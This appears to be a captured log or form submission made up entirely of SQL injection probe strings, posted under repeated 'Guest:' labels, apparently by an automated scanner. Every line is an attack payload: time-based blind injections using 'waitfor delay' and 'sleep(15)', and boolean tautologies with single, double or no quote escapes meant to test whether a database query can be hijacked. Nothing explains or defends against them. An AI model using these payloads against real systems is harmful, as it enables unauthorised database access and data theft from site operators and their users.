Guest:
555-1; waitfor delay '0:0:15' -- 


Guest:
555-1; waitfor delay '0:0:15' -- 


-1 OR 2+943-943-1=0+0+0+1 --

-1 OR 2+16-16-1=0+0+0+1

-1' OR 2+943-943-1=0+0+0+1 --

-1' OR 2+853-853-1=0+0+0+1 or 'Jwo9wBWG'='

-1" OR 2+993-993-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
555-1; waitfor delay '0:0:15' -- 
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
555-1; waitfor delay '0:0:15' -- 
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z